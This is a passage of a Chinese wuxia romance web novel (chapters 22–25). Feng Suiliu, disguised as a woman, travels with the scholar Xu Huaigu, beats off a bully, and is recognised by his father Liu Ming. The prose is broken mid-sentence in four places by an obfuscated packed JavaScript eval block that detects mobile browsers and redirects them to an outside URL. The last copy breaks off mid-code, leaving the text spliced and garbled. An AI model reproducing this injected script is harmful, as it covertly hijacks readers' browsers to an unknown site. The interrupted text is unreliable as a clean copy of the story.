昨夜他们商量的只是以风随柳摔伤腿、进城看腿伤为由出城。因为风随柳身量太高，易容无论怎么掩饰都会露出破绽，但只要不站起身来，谁也看不出他个子有多高。只是没想到那守城的卫卒如此严苛，弄不好真要把人拽下来验验，风随柳灵机一动，便加上了“痨病”这一病症。 此病果然让人忌讳，这才让那些卫卒们放行。 风随柳缓缓直起身，伸手扯了扯衣领，抹去额角的冷汗，眼底的怯懦褪去，取而代之的是一抹淡淡的笑意，低声对虚怀谷道：“那也多亏了你这位“夫君”的配合，才蒙混过关。那些卫卒，终究是贪财又忌讳。” 虚怀谷也玩笑地回道：“哪里哪里，还是“夫人”聪慧。” 风随柳莞尔一笑。 车厢外赶车的黄岫一脸麻木。 这个时候了你们还在打情骂俏，真当我不存在啊。 马车一路疾驰，驶出城外二十里地，前方出现一片浓密的密林。几人停下马车，分别又更换了一身装束，然后风随柳与虚怀谷调转方向去往灵隐谷，黄岫却并未同行，因风随柳另有任务交待给他。 黄岫与二人简单道别后，足尖一点，施展出独门轻功，身形如箭般掠向远方，朝着总舵的方向疾驰而去。同时心底也松了口气，暗自庆幸：总算不用再看教主与虚先生秀恩爱了。 黄岫是旁观者清，看得分明：他家教主分明是在蓄意勾引，有意调情，而那位虚先生却好似还未完全开窍，又或有情却不自知，大多时候懵懵懂懂的。 黄岫曾在别院与虚怀谷有过短暂相处，知道他虽然弃文从商，却有君子之风，且性子温润，对男子之间的情爱之事几乎毫无察觉，更别提通透领会了。可神冥教向来不拘世俗礼法，男子相知相守乃是老传统了。 他家教主这是老房子着火了！ 以他家教主的性格，既然看中了虚怀谷，便绝不会轻易放手，势必要将人留在身边。至于虚怀谷会不会心甘情愿点头……最好是他自己想通了从了教主，不然，他家教主那些软硬兼施的手段，可不是谁都能扛得住的。 念及此处，黄岫忍不住在心底悄悄为虚怀谷捏了把汗，默默祈祷他能顺顺利利地从了教主，少受些折腾。 黄岫离开之后，风随柳并未换下女子装扮，只换了一身剪裁更利落、行动更轻便的素色衣裙。他安坐于马车之内，微微掀开车帘一角，对着车前赶车的虚怀谷轻轻勾了勾唇角，语调轻软中带着几分调笑，道：“夫君，劳烦你为我赶车了。” 虚怀谷哈哈一笑，对着车内作了个揖，朗声回道：“娘子多礼了。为你驱车，本就是分内之事。” 风随柳忍不住噗嗤一声笑了出来，眉梢眼角都染上了浓浓的笑意。 虚怀谷并不是那等迂腐刻板的读书人，否则也不会为了家中弟妹生计转而行商，更不会有勇气与他这个江湖人合作，甚至不惜冒着性命危险，沉入冰冷的江底将他救回。这一路颠沛流离，两人相互扶持、彼此照应，桩桩件件风随柳都牢记心底，只觉得眼前这个干净温柔的书生，越看越是入心，满心满眼都是欢喜。 此时的虚怀谷早已换下了儒雅的书生长衫，改作了普通民夫的粗布打扮。他手腕一扬，马鞭轻挥，伴着一声轻喝，马车便平稳地疾驰起来，一举一动间，竟真有几分老练车夫的架势。 二人便这般以寻常夫妻的身份做掩护，一路往灵隐谷的方向而去，路途竟意外地太平。想来一是远离了神冥教的势力腹地，二是风随柳提前布下的后手起了作用，一连赶路多日，除了天气严寒，偶尔要在荒郊野外露宿之外，再无其他风波。日子久了，虚怀谷也渐渐适应了这样的赶路生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527539|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，甚至闲暇之余，二人还有心情一起并肩，看看沿途的风景，倒也多了几分温存惬意。 越往灵隐谷方向行进，天气便越是和暖，即便已经进入了腊月，这里的气候竟与虚怀谷的江南老家相差无几，寒意散了大半，连风都软了几分。 这日清晨，两人离开了途经的小镇，一同坐在车前的车辕上，一边慢悠悠的赶车，一边低声闲谈。虚怀谷望着前方绵延的山路，问道：“我们还有多久能到灵隐谷？” 风随柳道：“约莫还有三四日的路程。其实若是我们弃了马车，纵马疾行，此刻早已抵达。只是驱车行进，速度便慢了许多。” 虚怀谷长长舒了口气，眉眼间松快了几分：“总算快到了。” 风随柳眸光柔软，凑近了几分，温声安抚道：“这一路风餐露宿，日日赶路，辛苦夫君了。” 虚怀谷早已习惯了两人随时随地这般以夫妻相处的模式，闻言侧过头看他，眼神温柔，很是自然地接了话：“能陪着娘子一路同行，何来辛苦之说。” 风随柳闻言，以袖轻轻掩住唇角，抿唇轻笑，眉眼间含羞带嗔，活脱脱就是个娇软动人的小娘子。每每这种时刻，虚怀谷都会生出几分真切的错觉，仿佛身边人真的是他八抬大轿娶进门的新妇，而他正带着新婚小娇妻衣锦还乡。 一想到老家，虚怀谷有一瞬的失神，也不知道家中几个弟妹现下如何？今年春节是无论如何也来不及了，只盼自己能在约定好的半年内赶回去，不然弟妹们会担心的。 风随柳见他失神，眸光微微一闪，垂下眼帘遮住了眸底闪过的细碎精光，指尖轻轻攥了攥衣袖，不知在心底盘算着什么。 就在这时，前路拐角处突然冲出来一伙人，为首那名肥胖壮硕的年轻人带着四五个精壮小厮，大摇大摆地拦在了马车正前方。 这人不过二十出头的年纪，生得肥头大耳、腰圆肚凸、一身横肉，正是此地镇上首富崔员外家的独养儿子。 虚怀谷与风随柳并不知晓他的大名，但昨日在镇上客栈的酒楼用膳时，曾听旁人一口一个“崔大郎”地唤他。当时这崔大郎的眼睛死死黏在风随柳身上，挪都挪不开，虚怀谷当时便绷紧了心神，怕他当众寻衅滋事，谁知他只是贼溜溜地转了半天眼珠，便带着人离开了。虚怀谷和风随柳以为他只是个寻常的登徒子，很快便将此事抛在了脑后，没料到今日刚出小镇不远，就被他带人半路拦了下来。 虚怀谷此时还没意识到对方要做什么，正要开口相询，却见崔大郎腆着肚子，色眯眯地盯着车辕上的风随柳，口水都快流出来，粗声粗气地调戏道：“小美人，昨日在酒楼见你一面，我是茶不思饭不想，夜里都想着你呢！你跟着这穷酸民夫有什么好日子过？不如跟我回府，做我的小妾，保你吃香的喝辣的，一辈子享不尽的荣华富贵！” 虚怀谷：…… 好嘛，原来是找死来了。 23.第 23 章 虚怀谷与风随柳对视一眼，还未说话，那崔大郎已经迫不及待了。 他大手一挥，示意身后的打手们上前，一脸蛮横地放话：“给我把这小美人请下来，若是这穷酸民夫敢阻拦，直接打断他的腿！” 虚怀谷脸色骤变，连忙上前一步，指着他们怒声喝斥道：“青天白日、光天化日之下，你们竟敢强抢民妇，眼里还有半分王法吗？！” “王法？”崔大郎闻言，仰头狂笑，语气狂妄至极：“告诉你，在这崔家镇，我崔大郎说的话就是王法！你们尽管叫，就算叫破喉咙，也绝不会有人来救你们！”他早已派人清场，周遭半个人影也无，可谓肆无忌惮。 虚怀谷无奈叹息。人要找死，当真拦不住，他已经尽力了。 风随柳当日在船上以一敌众，斩杀数名刺客的模样犹在眼前——哪怕他现在功力只剩三成。二人同行途中，也曾遇过山匪流氓，风随柳的武艺，虚怀谷早已见识过。眼前这区区数名打手，以他这普通人的眼力都能一眼看出，绝非风随柳的对手。 果然，随着那几名打手的靠近，风随柳缓缓站起身来，挡在虚怀谷前面，裙摆轻扬，看似柔弱的身影，周身却瞬间泛起一股冷冽的气场，与刚才娇软温柔的美娇娘判若两人。 没等那些打手靠近，风随柳身形骤然一闪，快得只剩一道残影，不过瞬息之间，便听得几声惨叫接连响起，那几个壮实的打手连他的衣角都没碰到，便一个个被揍倒在地，抱着胳膊蜷着腿，哀嚎不止，再也爬不起来。 风随柳微微垂眸，目光扫过满地哀嚎的众人，语气轻飘飘中却带着几分不耐，道：“太吵了。”说着手起指落，几个腾跃间，将满地的人都尽数点了哑穴。 众人瞬间没了声响，只能抱着伤处满地翻滚，张大了嘴却发不出半分声音，脸上满是骇然，眼珠突出，面色惨白，个个都如见了鬼魅一般。 崔大郎顿时吓得脸色苍白，浑身肥肉抖个不停，刚才的嚣张气焰荡然无存。眼看着风随柳一步步走近，吓得连连后退，瘫坐在地上，扯着嗓子大喊救命：“来人啊！救命啊！杀人了！” 风随柳缓步走到他面前，居高临下地睨着他，嘴角勾起一抹冷冽的弧度，声音清冷却带着不容置喙的狠厉，一字一句，将他方才的狂言原封不动地还了回去：“你叫吧，尽管大声叫，就算叫破喉咙，也不会有人来救你。” 话音落下，他眸底寒光一闪，抬起白皙的手腕。谁知崔大郎还没等他手刀落下便两眼一翻，吓得直接晕了过去，瘫在地上不省人事，双腿之间还流出一滩尿迹。 风随柳嫌恶地皱了皱眉，懒得再看这等龌龊小人，转身走回马车旁，周身的冷意瞬间消散，又变回了那个温柔娇软的娘子，伸手拉住虚怀谷的手，轻声道：“夫君，我们走吧，别让这等俗人扰了咱们的兴致。” 虚怀谷看着他眼底未散尽的锋芒，又感受到他掌心温热的触感，心头既是震撼，又满是钦佩，握紧他的手，柔声应道：“好，都听娘子的。” 二人亲亲热热地回到马车上，在车辕上坐好，驾车重新启程。这一切，都被隐藏在远处林间的两道身影看得一清二楚。 为首那人看上去大约三十几许，身着墨绿色劲装，身姿挺拔，面容冷峻，周身萦绕着一股生人勿近的沉稳气场，唯有眼底掠过一丝极淡的波澜。他望着渐渐远去的马车，沉吟片刻，不确定地道：“若安，你说我们会不会认错人了？” 立在他身后的男子看上去二十七八岁的模样，皮肤微黑，容貌俊朗，身后背个药篓，衣着打扮看上去就像个寻常的药农。他神色带着几分犹疑，迟疑片刻后回道：“阿爹，我或许会认错自己的兄弟，但您应该不会认错自己的儿子吧？” 为首之人喃喃道：“不一定……毕竟我只有三个儿子，没有女儿啊。” 身后那人闻言，一时也沉默了。毕竟他从未想过，他那个杀伐果断、孤傲冷冽的二弟，会穿上女装，扮成这副娇柔模样。别说他没想过了，显然他亲爹柳冥也没想过。 为首那人过了片刻，再度确认道：“他刚才使的招式，你看清楚了吗？” “看清楚了。方才他出手的招式，分明是随弟惯用的路数。”柳若安连忙点头，语气笃定，“除了随弟，没人能将风家的独门手法用得这般快准狠，更没人能在散功的情况下，还能瞬间制服数名壮汉。” 柳冥再度开口，语气依旧沉稳，却仍有一丝不敢置信：“那……确实是他无疑了？” 这二人正是风随柳的亲生父亲柳冥，和同父异母的兄长柳若安。柳冥接到王奇传来的消息，连夜出谷，带着长子柳若安前来接应。谁知却看到这样一幕。 柳冥忍不住摸了摸下巴，心中暗忖：难怪随柳这小子已经二十有八，偌大年纪，却始终未婚，原来他不是想找媳妇，是想给别人当媳妇啊。 灵隐谷与神冥教有百年交情，每任神冥教教主在满二十岁后都可以来灵隐谷选夫，每五年一次，风随柳足足来了两次，却始终一无所获。 先前柳冥只当风随柳一心扑在教主之位上，无心儿女情长，但此刻见他这般女装打扮，眉眼间竟有几分浑然天成的……柔婉？柳冥心头默默掠过一个念头：原来如此，这小子迟迟没有找到合意人选，原来不是想娶，而是想嫁。但我灵隐谷也是人才济济，优秀子弟数不胜数，怎的反倒对这个文弱书生这般不一样？ 但随即他想到了风天翼……哦，原来儿子是随了根儿了啊。 这个念头一出，纵使柳冥素来冷淡沉稳，嘴角也几不可查地抽了一下。但风天翼当年在江湖上叱诧风云，杀伐果决，纵使对自己情根深种，甘愿雌伏，却也没做到如此地步，至少女装是没穿过的…… 这般一想，他又忍不住摸着下巴，边思索边对大儿子道：“随柳何等心高气傲的性子，现在竟心甘情愿屈身做这种事，你说有没有可能是那书生用了什么邪门歪道，胁迫了他？又或他对那书生另有所图，这才假意逢迎，等达到目的后便会翻脸无情，杀人脱身？” 柳若安无语了片刻，道：“阿爹，那书生脚步虚浮，气息平缓，一看便是个手无缚鸡之力的普通人，怎会胁迫得了随弟？随弟胁迫他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530794|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还差不多。” 柳冥：…… 倒也不必如此直白。 柳若安随后又道：“至于随弟是否另有所图……依我所见，那书生只怕也没有什么值得随弟图谋到如此地步，多半是他自己乐意。” 果然，吐槽还得是亲兄弟。 柳冥无奈地挥挥手，指着路中间崔大郎那一地受伤的人道：“罢了罢了，我们先为他善后吧，之后再寻个机会与他碰头。若当真是天要下雨，儿要嫁人，那也没得办法。” 柳若安：…… 阿爹，你不要胡乱用俗语啊。 父子二人随即如何料理崔大郎这位小霸王不提，风随柳与虚怀谷却是惬意地一路前行。 风随柳并未察觉父亲和兄长跟在他们后边。一来他自散功之后，耳力远不如往日敏锐；二来柳冥与柳若安的轻功本就出神入化，若非顶尖高手凝神细辨，根本无从察觉其踪迹。这般行了大半日，待到傍晚时分，二人错过了沿途的借宿客栈，只得在荒山野岭间风餐露宿。 风随柳对前往灵隐谷的路径熟稔于心，知晓这片山林深处藏着一处山洞，地势干燥，避风遮雨，最是适合夜宿。于是傍晚时便领着虚怀谷驾车来到此处歇息。他们先是取出早已备好的干粮与清水，又寻来枯枝点燃篝火，将山洞映照得暖融融的。随后风随柳又去山洞外拾来许多干燥的稻草，仔细铺在地上，再铺上自带的被褥，将夜宿的地方收拾得尽量妥帖。 “委屈你了，条件简陋，咱们凑活一晚便是。再过两日便能抵达灵隐谷了。”风随柳一边转动着篝火上的食物，看着油脂缓缓渗出、泛起焦香，一边柔声对身旁的虚怀谷道。 虚怀谷一边帮他看着篝火，往里添着枯柴，一边笑道：“这算什么艰苦？有山洞挡风避寒，又有篝火驱兽，比起咱们先前在马车里颠沛行餐、风餐露宿，已是好上太多了。” 风随柳望着他清澈地笑意，心下既心疼，又有几分愧疚。但因先前二人说好不再提及这些，因此他便将到了嘴边的话又咽了回去。 但虚怀谷好似察觉了他的情绪，想了想，认真恳切地道：“从前在家乡，我一味只知道读书，后来转行从商，也是跟着商队和商船行路，确实不曾体会过这等风餐露宿之事。江湖漂泊，虽有许多不便和危险，但要说苦，却是谈不上的，想必是因为有你在身边。你经验丰富，凡事想得周全，又处处尽力为我安排妥帖，还有一身好武艺傍身，这一路行来，也全靠你保护我。所以你不必为我愧疚，更不必为我担忧。” 风随柳闻言，更是情深难抑，不由抬眸对他微微一笑。 虚怀谷也回他一个温柔的笑容，手上往篝火里添柴不提。 柳冥与柳若安默默地伫立在远处林间，望着被篝火映照得温馨动人的山洞里，看着那二人一个添柴、一个烤肉，配合得默契十足，时不时还抬头互相对视一眼，眼底的笑意藏都藏不住，不由皆是无语。 柳若安暗中摸了摸自己的手臂，只觉一层细密的鸡皮疙瘩都冒了出来，心道他与他家那位成亲多年，都没有这般肉麻腻歪过。 24.第 24 章 就在烤肉快好时，风随柳忽然鼻尖微微一动，隐隐嗅到一缕熟悉的药香味。他神色一凝，视线往洞外望去。 他们先前将马车拴在洞外不远处，车厢恰好挡住了洞口大半的寒风，隔绝了不少山野的寒凉，可即便如此，那一缕极淡、极清的药香，依然顺着山间的清风悄然飘进洞内，若有似无地萦绕在鼻尖。 这般淡的药香，换做寻常人定然闻不出来。因为此处偏南，纵使冬日也依旧丛林茂密，树叶的清苦、野果的微甜与泥土的湿腥交织在一起，寒凉又繁杂，寻常人很难分辨。可风随柳自幼便常伴爹爹柳冥左右，对爹爹身上那股独有的药香味道早已刻入骨髓，因而此刻那味道即便淡不可闻，也依旧被他敏锐地捕捉到，不由得神色微变，心头泛起一丝异样的波澜。 虚怀谷察觉到他的异样，连忙问道：“怎么了？是不是外面有什么动静？” 风随柳道：“没什么，也许是我多心了。你在这里等着，我出去看看。”说罢他起身往外走去。 虚怀谷也连忙站起身来，暗中握紧了随身携带的匕首——这匕首还是黄岫留给他防身用的。他的目光紧紧追随着风随柳的身影，神色间满是戒备 风随柳刚走到洞口，正要绕开那辆挡在洞前的马车，却见两道身影正一前一后地缓步走近，恰好停在了洞门口。 为首那人身材修长，头戴一顶宽檐斗笠，帽檐微微低垂，遮住了大半面容，身上穿着一袭墨绿色长衫，袖口束紧，脚上绑着利落的绑腿，腰间挎着一柄长剑，剑鞘古朴，隐隐透着几分凌厉之气，周身气质沉静而内敛。 另一人则跟在他身后，背上背着一个沉甸甸的药篓，篓口露出些许干枯的药草，手中还握着一柄锄头，指尖沾着些许泥土，一路上都微微低着头，显得十分谦和。待风随柳走出洞口，他才悄悄抬起脸，篝火跳跃的微光恰好映在他脸上，露出一张俊朗温和的面容，眉眼间带着几分熟悉的暖意。 风随柳的脚步猛地顿住，僵立在原地。 为首的那人见状，淡淡开口：“这位……夫人，我们父子二人是进山采药的大夫，途经此处，恰逢天色已晚，见这山洞可挡风遮雨，不知能否行个方便，容我父子二人与你们小夫妻两个共借这栖身之地？” 小、小夫妻…… 风随柳瞬间尴尬到头皮发麻，一时之间竟不知该如何回应。 身后背着药篓的那人见状，急得在暗中悄悄对着风随柳挤眉眨眼，眼神里满是隐晦的暗示，只是火光昏暗，又怕被为首之人察觉，动作极轻，也不知风随柳到底看清了没有。 风随柳嘴角僵硬地扯了扯，正思忖着该如何回应，虚怀谷已经上前一步，从容开口道：“这山洞并非我夫妻二人所有，二位若想留宿，自便便可。”说着不动声色地拉了拉风随柳的衣袖。 他见这两人都是壮年男子，虽以父子相称，但为首那人身形挺拔，毫无半分老者佝偻之态，且腰间佩剑，步履沉稳，显然有武艺在身。再者身后那人瞧着年岁已然不轻，若真是父子，为首之人理应年过五旬，可看此人身形气度，半点不像垂暮长者。说不定这二人与他们伪装夫妻一般，也是伪装的父子。 这两人看上去都身强力壮，若是都有武艺在身，虚怀谷担心万一起了冲突，仅凭风随柳一人怕是难以周全。是以他主动出面打了圆场，顺势拉着风随柳退回到篝火边坐好。 风随柳浑身僵硬地随他坐回原处，虚怀谷面上依旧客气温雅，含笑道：“夜山风寒，二位不妨过来一起烤烤火取暖。” 为首那人微微颔首，道：“甚好。多谢小哥相邀，那老夫便却之不恭了。”说罢当真就抬腿走了过来，在二人面前盘膝坐下了。 身后柳若安连忙紧随而来，蹲身低声唤道：“阿爹。” 柳冥淡淡道：“萍水相逢便是缘分。若安，这位小哥一片诚心，你也不必太过拘谨。” “正是这个理。” 虚怀谷连忙附和道。 柳若安无奈，只得朝虚怀谷颔首致意，拱了拱手道：“多谢小哥容让。”说罢便将身后的背篓放到一旁，自己也盘膝在父亲旁边稍后一步坐下。 柳冥缓缓抬手，取下头上斗笠，轻轻置在一旁，露出一双白皙修长、保养得极好的手，慢条斯理地凑到篝火旁，悠然烘暖。 虚怀谷抬眼望去，看清他的面容，心底不由微微一怔。只因这人果然如他所料，瞧着不过三十几许，容颜清俊儒雅，未曾蓄须，半点不像身后那人的父亲，反倒似一对年岁相近的兄弟。而且细看他那双手，细腻温润，白皙修长，既不像一位常年跋山涉水的采药农人，也不像常年握剑习武之人的手。 当真处处透着古怪。 他心中暗自纳罕，忍不住侧头想跟风随柳递个眼神互通心意，谁知风随柳不知在发什么呆，一直低着头，压根没有留意他的视线。 此时柳冥看了一眼他们快要烤熟的肉，侧首对儿子淡淡吩咐道：“若安，将咱们带的点心拿出来。” “是。”柳若安闻言，伸手在药篓中翻寻片刻，取出一方素布小包，小心翼翼地从里面掏出一包油纸袋封的糕点。 柳冥接过油纸包，看向虚怀谷，笑意温和，道：“这是桂花糕，我用这个换你们些许烤肉，小哥意下如何？” 虚怀谷连忙摆手：“不必如此，我们烤肉足够，可以分与二位一些，不用拿糕点相换。” “那可不行。”柳冥摇头轻笑，道：“所谓无功不受禄，我们已然平白借了你们的篝火取暖，怎好再吃白食。这桂花糕是我亲手所制，家中次子素来喜爱，二位不妨尝尝鲜。”说着眼神轻飘飘地扫了一眼一直低头不语的风随柳。 风随柳骤然察觉到父亲的视线，不由得轻咳一声，暗暗拉了拉虚怀谷的衣袖，小声劝道：“收下吧，莫要辜负人家一番好意。” 虚怀谷稍一迟疑，终究伸手接了过来。 柳冥呵呵一笑，眉眼间含着几分玩味笑意，慢悠悠地开口道：“瞧二位举止亲昵，倒是一对恩爱的小夫妻。不知你们成亲多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533628|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久了？家中可有稚子绕膝？” 这话一出，气氛瞬间凝滞。 虚怀谷面露几分尴尬，挠了挠眉心，讪讪笑道：“我二人成亲尚不足一年，眼下还未有子嗣。” “哦？” 柳冥故作讶异，细细打量二人一番，缓缓道，“我观你二人气色红润，体魄康健，正值适龄，成婚一载，按常理早该有喜讯才是。罢了，老夫略通医道，在明、文两国也算有些薄名，不如我为二位把把脉，瞧瞧内里气机如何？” 饶是风随柳素来沉稳冷峻，此刻也有些承受不住，耳根泛红，也分不清是羞赧还是窘迫气恼。 虚怀谷倒没留意他，只是忙着摆手推脱，结结巴巴地道：“不不不，不必劳烦老先生，我二人暂时无心子嗣之事，这事、这事顺其自然便好。不着急，不着急的。” 柳冥却全然无视他的推辞，径直起身走到他身侧，语气温和中带着几分不容拒绝：“怎么能不着急呢。人生在世，早生贵子才是福气，不能随性拖延的。来来来，小哥不要客气，且容我为你诊脉看看。”说罢不由分说，伸手稳稳扣住了虚怀谷的腕间脉门。 虚怀谷登时惊得愣在原地。他都没看清对方是如何瞬息近身的，只觉眼前一花，脉门已经被牢牢按住，半点动弹不得了。 他怔神之际，柳冥已经凝神切脉，眸底掠过一丝讶异，随即眉梢微挑，不动声色地斜睨了一旁缄默垂首的风随柳一眼。 这脉息……果然是儿大不中留啊，为父特意留给你护身保命的回春丹，你倒好，这般大方就给旁人服下了？ 虚怀谷挣扎不得，只能任由柳冥诊脉，心底焦灼不安，频频看向风随柳。 风随柳可是男扮女装，据说医术高明的名医一摸脉搏，仅凭脉象就能分辨出诊脉之人是男是女，若是让他看出破绽该如何是好？ 可偏偏风随柳坐一旁垂首发呆，完全没有反应，急得虚怀谷额间都隐隐沁出细汗。 片刻后，柳冥松开他的手腕，拍了拍他的肩头，语气带着几分戏谑，道：“小伙子脉息强劲沉稳，体魄壮实，元气充盈，唯独阳气过盛，肾火略微躁动了些。不过年轻人嘛，可以理解。”顿了顿，又淡淡地补了一句：“单凭这脉象，传宗接代之事，大可不必忧心。” 虚怀谷瞬间面颊爆红，耳根发烫，窘迫得几乎无地自容。 老先生，这话实在不必说得这般直白…… 柳冥放开他，转头望向一旁的风随柳，笑意浅淡，开口道：“夫人，该轮到你了。” 虚怀谷正急着思忖如何替风随柳推脱，却见风随柳猛地站起身来，平日里刻意塌腰缩背、收敛身形的姿态全然抛诸脑后，脊背挺得笔直挺拔，那本就远超寻常男子的高挑身量，刹那间展露无遗。 虚怀谷吓了一跳，只当他要当场动手，然而下一瞬，却听见风随柳褪去刻意柔婉的语调，恢复了原本清冽的男子声线，语气无奈中又带着几分羞恼，开口道：“爹！您别再打趣胡闹了！” 虚怀谷：？？？ 25.第 25 章 爹？ 虚怀谷怀疑自己的耳朵出了问题，整个人僵在原地，满眼错愕，脑子里瞬间一片空白。 柳冥闻言，脸色瞬间沉了下来，板起一张冷肃的脸，语气淡得不带半分温度，道：“这位夫人勿要胡乱攀认。老夫膝下只有儿子，没有女儿，莫要失了分寸。” 风随柳无奈地抬手揉了揉眉心，指尖轻轻拂过脸颊，将面上轻薄的易容简单抹去，褪去了温婉清秀的女态，露出了原本凌厉冷峻却十分俊美的眉眼，语气坦然地道：“我们一路被仇家暗中追杀，男扮女装掩人耳目，不过是权宜之计。” “权宜之计？”柳冥当即冷笑一声，斜睨着自家半点不知收敛的儿子，心底腹诽：你也就骗骗眼前这位不通江湖险恶、心思纯善的书生罢了。你那一心护子的老父亲，接到你的传信后便亲自扮成你的模样去引开了全部追兵，如今还没有返回，你这一路哪还有半分危险？分明是你贪恋和这书生同行的悠闲自在，故意扮成夫妻腻歪，才把十来日就能走完的路程，硬生生拖了半个多月还没走到灵隐谷。 风随柳知晓自己被父亲一眼看穿，却半点不见心虚，反而理直气壮地颔首，神色淡然得理所当然，重复道：“不错，正是权宜之计。” 柳冥：…… 看着自家儿子这副死猪不怕开水烫、脸皮厚比城墙的模样，柳冥额角的青筋都隐隐跳了跳。他不由开口讽道：“这么说来，为父日夜兼程赶来接你，反倒打扰了你们的二人清净，是我多事了？” 风随柳脸上的淡然瞬间一僵，察觉到父亲眼底压着的怒意，当即收了散漫的神色，一时没敢再顶嘴。 一旁的柳若安见状，连忙快步上前打圆场，笑着缓和气氛道：“阿爹息怒，都是误会。随弟，阿爹收到你的传信，片刻都没耽搁，连夜带着我出谷接应，一路马不停蹄，全是担心你的安危。你看，阿爹还特意带了你最爱吃的桂花糕。” 风随柳闻言，立刻顺着台阶就下，躬身认错，态度恭顺至极，低声道：“我知道。阿爹，是儿子不懂事，让阿爹挂心奔波。都是儿子的错，您莫要再动气了。” 柳冥见他如此顺滑地认了错，胸口那股火气非但没消，反而烧得更旺了。 怎么说呢？心情很复杂，甚至多少有点嫉妒。合着他这一路担惊受怕、日夜兼程，在儿子眼里，还比不上和一个书生磨磨蹭蹭游山玩水更重要？就……那种老丈人心态，难以描述。 而虚怀谷站在一旁，已经从刚才的错愕里彻底回过神，后知后觉地反应过来他们在说什么，不由尴尬到手足无措。 万万想不到眼前人居然是风随柳的父亲。刚才他还与风随柳夫妻相称……这是闹了多大的笑话啊。 虚怀谷硬着头皮，对着柳冥拱手施礼，声音轻得几乎发飘，道：“晚、晚辈虚怀谷，不知、不知是风老前辈当前，方才多有冒犯，还望前辈海涵。” 柳冥这才将目光从自家不成器的儿子身上，移到了眼前这个书生身上。 他上下打量了一番虚怀谷，见他眉目温润，气质清和，一身书卷气干干净净，虽不通武艺，却眼神澄澈，举止有礼，半点没有江湖人的油滑，方才被儿子气出来的火气，倒是先压下去了几分。 只是一想到就是眼前这书生，把自己培养多年的儿子，堂堂一教之主，勾得心甘情愿扮成女子陪他一路同行，脸色不由又沉了下去。 柳冥淡淡地道：“我不姓风，姓柳。” “啊？”虚怀谷愣了一下，抬眼看向柳冥，又飞快瞥了眼身旁的风随柳，心里暗自思忖：怎么回事？随柳兄起初自报姓名是“柳随风”，后来又坦诚真名是“风随柳”，可如今他父亲却说自己姓柳，这到底是哪里弄错了？ 见他一脸茫然无措的模样，风随柳生怕他误会，刚要开口解释其中缘由，柳冥却已淡淡补了一句，语气里听不出半分波澜：“他随母姓。” 风随柳刚张开的嘴巴又默默地闭了回去。唉，阿爹这是迁怒父亲了。 此时夜色之中，正一袭紫色长袍，正头戴斗笠，霜发披肩，扮成儿子模样帮他引开追兵的风天翼，突然连打两个喷嚏：“阿嚏！阿嚏！” “教主，您这是怎么了？莫非是染了风寒？”身旁扮作护卫模样的紫绡问道。 “不知。”风天翼抬手揉了揉鼻尖，眉宇间掠过一丝疑惑，暗自纳罕：本座武功早已臻至化境，寒暑不侵，怎会突然打喷嚏？莫不是有人在骂本座？ 想到此处，他不由双臂抱于胸前，微微偏头做沉思状。 紫绡见状，连忙轻声提醒：“教主，少教主平日里从不会做这般动作，您这样，怕是会被追兵识破。” 风天翼闻言浑不在意，虽说已年过五旬，可一身风流肆意之态，与儿子风随柳平素的沉稳冷峻截然不同。他摆摆手，语气随意地道：“不必在意这些细枝末节。人手都安排妥当了？” “回教主，一切都已安排妥当。”紫绡应道。 “好。”风天翼的语气瞬间冷了下来，眼底翻涌着凛冽的杀意：“敢算计我风天翼的儿子，便先让这青云楼从江湖上彻底消失。” 这青云楼是近十年来江湖上突然崛起的杀手组织，幕后主使神秘莫测，向来唯利是图，只要给足价钱，无论何种凶险的单子都敢接，其主要活动范围便在明国境内。此次风随柳在商船上遭遇截杀，其中大半杀手都是青云楼派出的。 紫绡随即汇报道：“已与骁卫营打好了招呼，只需这边发出信号，骁卫营的兵马便会即刻调动，届时青云楼连只苍蝇都飞不出去。” 风天翼缓缓点了点头。此次之事，早已不单单是江湖恩怨。青云楼这些年势力日渐壮大，行事愈发肆无忌惮，已经引起了明国官府的警惕。鲜少有人知晓，当今明国皇帝司耀辉在登基之前，曾是柳冥的关门弟子，此事绝密，唯有寥寥数人知情。而风天翼是柳冥的枕边人，风随柳与柳慕风是他二人的儿子，便是明帝的同门师弟。此次决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 